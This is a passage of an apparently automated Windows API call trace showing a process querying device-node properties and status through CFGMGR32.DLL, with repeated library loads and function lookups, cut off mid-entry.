CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.118] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2edf38cb, dwHighDateTime=0x1d9eb0c)) [0193.118] SetEvent (hEvent=0x248) returned 1 [0193.119] SetEvent (hEvent=0x248) returned 1 [0193.119] free (_Block=0x20abc27cf80) [0193.120] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0193.120] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2edf38cb, dwHighDateTime=0x1d9eb0c)) [0193.120] SetEvent (hEvent=0x248) returned 1 [0193.122] SetEvent (hEvent=0x248) returned 1 [0193.122] free (_Block=0x20abc27cf80) [0193.122] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.124] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2edf38cb, dwHighDateTime=0x1d9eb0c)) [0193.124] SetEvent (hEvent=0x248) returned 1 [0193.125] SetEvent (hEvent=0x248) returned 1 [0193.126] free (_Block=0x20abc27cf80) [0193.331] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xb, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0193.331] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.331] SetEvent (hEvent=0x248) returned 1 [0193.334] SetEvent (hEvent=0x248) returned 1 [0193.337] free (_Block=0x20abc27cf80) [0193.337] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xb, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0193.337] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.338] SetEvent (hEvent=0x248) returned 1 [0193.340] SetEvent (hEvent=0x248) returned 1 [0193.341] free (_Block=0x20abc27cf80) [0193.341] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.341] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f009d3f, dwHighDateTime=0x1d9eb0c)) [0193.342] SetEvent (hEvent=0x248) returned 1 [0193.411] SetEvent (hEvent=0x248) returned 1 [0193.412] free (_Block=0x20abc27cf80) [0193.412] CM_Get_Device_IDA (in: dnDevInst=0xc, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0B00\\4&22F5829E&0") returned 0x0 [0193.412] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.413] SetEvent (hEvent=0x248) returned 1 [0193.414] SetEvent (hEvent=0x248) returned 1 [0193.415] free (_Block=0x20abc27cf80) [0193.415] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0193.416] malloc (_Size=0x5a) returned 0x20abc2801b0 [0193.416] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2801b0, pulLength=0x2dc22fd3f8) returned 0x0 [0193.416] free (_Block=0x20abc2801b0) [0193.416] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.417] SetEvent (hEvent=0x248) returned 1 [0193.417] malloc (_Size=0x18) returned 0x20abc281ac0 [0193.418] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0193.418] free (_Block=0x20abc281ac0) [0193.418] malloc (_Size=0x18) returned 0x20abc281ea0 [0193.418] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abbaf2398) returned 0x0 [0193.418] free (_Block=0x20abc281ea0) [0193.418] malloc (_Size=0x18) returned 0x20abc281ba0 [0193.418] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0193.418] free (_Block=0x20abc281ba0) [0193.418] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0193.418] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0193.418] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0193.418] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0193.418] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0193.418] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0193.418] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0193.418] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0193.419] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0193.419] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.419] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.420] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0193.420] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0193.420] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0193.421] SetEvent (hEvent=0x248) returned 1 [0193.421] free (_Block=0x20abc27cf80) [0193.421] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0193.422] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x2f0c9462, dwHighDateTime=0x1d9eb0c)) [0193.422] SetEvent (hEvent=0x248) returned 1 [0193.426] SetEvent (hEvent=0x248) returned 1 [0193.426] free (_Block=0x20abc27cf80) [0193.426] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.431] malloc (_Size=0x48) returned 0x20abc2a88c0 [0193.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f0ee98f, dwHighDateTime=0x1d9eb0c)) [0193.431] SetEvent (hEvent=0x248) returned 1 [0193.436] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.436] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.436] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.438] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.443] malloc (_Size=0x18) returned 0x20abc281fe0 [0193.444] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.444] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f114f13, dwHighDateTime=0x1d9eb0c)) [0193.444] SetEvent (hEvent=0x248) returned 1 [0193.727] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.727] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.728] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.729] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.730] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.731] malloc (_Size=0x18) returned 0x20abc281960 [0193.731] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.732] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f3c34fa, dwHighDateTime=0x1d9eb0c)) [0193.732] SetEvent (hEvent=0x248) returned 1 [0193.735] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.739] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.740] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.741] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.742] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.742] malloc (_Size=0x18) returned 0x20abc281a00 [0193.742] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0193.742] malloc (_Size=0x48) returned 0x20abc27cf80 [0193.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f3e9aab, dwHighDateTime=0x1d9eb0c)) [0193.743] SetEvent (hEvent=0x248) returned 1 [0193.747] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.747] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.750] malloc (_Size=0x18) returned 0x20abc281ea0 [0193.753] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xc, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0193.756] malloc (_Size=0x48) returned 0x20abc2a7f60 [0193.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x2f40fa61, dwHighDateTime=0x1d9eb0c)) [0193.756] SetEvent (hEvent=0x248) returned 1 [0193.759] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.759] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0193.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0193.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0193.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0193.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0193.761] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0193.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0193.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0193.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0193.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0193.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0193.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0193.762] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0193.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0193.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0193.763] malloc (_Size=0x18) returned 0x20abc282000 [0193.763] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xc, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0193.763] malloc (_Size=0x48) returned 0x20abc2a8aa0 [0193.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x2f40fa61, dwHighDateTime=0x1d9eb0c)) [0193.763] SetEvent (hEvent=0x248) returned 1 [0193.769] malloc (_Size=0xd8) returned 0x20abc2867b0 [0193.770] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0193.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0193.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0193.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0193.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0193.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0193.770] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0193.771] GetProcAddress (hModule=0x7ffb1ced0000, 